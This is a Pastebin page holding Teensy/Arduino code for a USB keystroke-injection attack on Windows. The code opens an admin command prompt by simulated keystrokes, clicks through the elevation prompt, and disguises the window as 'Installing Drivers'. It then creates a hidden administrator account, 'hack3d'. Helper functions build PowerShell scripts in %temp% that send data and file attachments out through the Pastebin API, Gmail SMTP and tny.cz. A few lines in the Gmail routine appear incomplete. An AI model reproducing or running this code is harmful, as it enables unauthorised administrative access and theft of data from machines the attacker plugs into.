Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define TEENSY3
- #ifdef TEENSY2
- #include<usb_private.h>
- #endif
- # define U_ADD "net user hack3d 1234 /add"
- # define G_ADD "net localgroup Administrators hack3d /add"
- void setup() {
- delay(3000);
- wait_for_drivers(2000);
- minimise_windows();
- delay(500);
- while(!cmd_admin(3,500))
- {
- reset_windows_desktop(2000);
- }
- Keyboard.println(U_ADD);
- delay(2000);
- Keyboard.println(G_ADD);
- delay(1000);
- Keyboard.println("exit");
- }
- void loop() {
- }
- void wait_for_drivers(int sleep)
- {
- bool CapsLockTrap = is_caps_on();
- while(CapsLockTrap == is_caps_on())
- {
- Keyboard.set_key1(KEY_CAPS_LOCK);
- Keyboard.send_now();
- delay(200);
- Keyboard.set_modifier(0);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- delay(500);
- delay(sleep);
- }
- Keyboard.set_key1(KEY_CAPS_LOCK);
- Keyboard.send_now();
- delay(200);
- Keyboard.set_modifier(0);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- delay(500);
- delay(sleep);
- }
- int ledkeys(void) {return int(keyboard_leds);}
- bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}
- bool cmd_admin(int reps, int millisecs)
- {
- make_sure_capslock_is_off();
- delay(700);
- Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
- Keyboard.send_now();
- Keyboard.set_modifier(0);
- Keyboard.send_now();
- delay(3000);
- Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"");
- delay(2000);
- Keyboard.set_modifier(MODIFIERKEY_CTRL);
- Keyboard.send_now();
- Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
- Keyboard.send_now();
- Keyboard.set_key1(KEY_ENTER);
- Keyboard.send_now();
- delay(200);
- Keyboard.set_modifier(0);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- delay(500);
- delay(7000);
- send_left_enter();
- delay(4000);
- create_click_capslock_win();
- check_for_capslock_success_teensy(reps,millisecs);
- }
- bool cmd(int reps, int millisecs, char *SomeCommand)
- {
- make_sure_capslock_is_off();
- delay(700);
- Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
- Keyboard.set_key1(KEY_R);
- Keyboard.send_now();
- delay(500);
- Keyboard.set_modifier(0);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- Keyboard.print(SomeCommand);
- Keyboard.set_key1(KEY_ENTER);
- Keyboard.send_now();
- Keyboard.set_key1(0);
- Keyboard.send_now();
- delay(3000);
- create_click_capslock_win();
- check_for_capslock_success_teensy(reps,millisecs);
- }
- void make_sure_capslock_is_off(void)
- {
- if (is_caps_on())
- {
- delay(500);
- Keyboard.set_key1(KEY_CAPS_LOCK);
- Keyboard.send_now();
- delay(200);
- delay(700);
- Keyboard.set_modifier(0);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- delay(500);
- delay(700);
- }
- }
- void create_click_capslock_win()
- {
- Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{CAPSLOCK}\" > %temp%\\capslock.vbs");
- delay(400);
- Keyboard.println("wscript %temp%\\capslock.vbs");
- delay(2000);
- }
- bool check_for_capslock_success_teensy(int reps, int millisecs)
- {
- unsigned int i = 0;
- do
- {
- delay(millisecs);
- if (is_caps_on())
- {
- make_sure_capslock_is_off();
- delay(700);
- return true;
- }
- i++;
- }
- while (!is_caps_on() && (i<reps));
- return false;
- }
- void minimise_windows(void)
- {
- Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
- Keyboard.set_key1(KEY_M);
- Keyboard.send_now();
- delay(300);
- Keyboard.set_modifier(0);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- delay(500);
- delay(300);
- }
- void reset_windows_desktop(int sleep)
- {
- delay(1000);
- minimise_windows();
- delay(sleep);
- minimise_windows();
- delay(sleep);
- minimise_windows();
- delay(200);
- }
- void send_left_enter(){
- delay(1000);
- Keyboard.set_key1(KEY_LEFT);
- Keyboard.send_now();
- delay(100);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- Keyboard.set_key1(KEY_ENTER);
- Keyboard.send_now();
- delay(100);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- }
- void post(String filename)
- {
- Keyboard.print("echo function pht($url,$pars) { >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $ht = New-Object -ComObject Msxml2.XMLHTTP >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $ht.open(\"POST\", $url, $false) >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $ht.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\") >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $ht.setRequestHeader(\"Content-length\", $pars.length); >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $ht.setRequestHeader(\"Connection\", \"close\") >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $ht.send($pars) >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $script:sk=$ht.responseText }>> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- }
- void pastebin(String filename)
- {
- post(filename);
- Keyboard.print("echo pht \"https://pastebin.com/api/api_login.php\" \"api_dev_key=$dev&api_user_name=$user&api_user_password=$pass\" >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo pht \"https://pastebin.com/api/api_post.php\" \"api_user_key=$sk&api_option=paste&api_dev_key=$dev&api_paste_name=$pn&api_paste_code=$pv&api_paste_private=2\" >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- }
- void gmail(String filename, String filepath)
- {
- post(filename);
- Keyboard.print("echo $srv = \"smtp.gmail.com\" >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $msg = new-object Net.Mail.MailMessage >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $st = new-object Net.Mail.SmtpClient($srv) >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $st.EnableSsl = $True >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $st.Credentials = New-Object System.Net.NetworkCredential(\"$user\", \"$pass\"); >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $msg.Subject = $pn >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $msg.Body = $pv >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- if (filepath != "no"){
- Keyboard.print("echo $att = new-object Net.Mail.Attachment(\"");
- Keyboard.print (filepath);
- Keyboard.print ("\") >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $msg.Attachments.Add($att) >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- }
- Keyboard.print("echo $st.Send($msg) >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- }
- void tinypaste(String filename)
- {
- post(filename);
- //http://stackoverflow.com/questions/10521061/how-to-get-a-md5-checksum-in-powershell
- Keyboard.print("echo $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $utf8 = new-object -TypeName System.Text.UTF8Encoding >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($pass))).Replace(\"-\", \"\").ToLower() >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- Keyboard.print("echo pht \"http://tny.cz/api/create.xml\" \"paste=$pv&title=$pn&is_code=0&is_private=1&authenticate=$user`:$hash\" >> %temp%\\");
- Keyboard.print(filename);
- Keyboard.println(".ps1");
- }
Advertisement
Add Comment
Please, Sign In to add comment